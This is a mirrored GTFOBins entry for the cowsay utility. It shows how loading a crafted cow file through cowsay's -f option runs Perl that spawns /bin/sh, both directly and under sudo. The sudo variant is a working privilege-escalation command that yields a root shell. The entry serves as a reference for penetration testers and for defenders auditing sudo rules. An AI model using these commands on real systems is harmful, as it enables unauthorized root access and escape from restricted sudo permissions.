mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
15 lines
323 B
Markdown
15 lines
323 B
Markdown
|
---
|
||
|
description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply.
|
||
|
functions:
|
||
|
shell:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo 'exec "/bin/sh";' >$TF
|
||
|
cowsay -f $TF x
|
||
|
sudo:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo 'exec "/bin/sh";' >$TF
|
||
|
sudo cowsay -f $TF x
|
||
|
---
|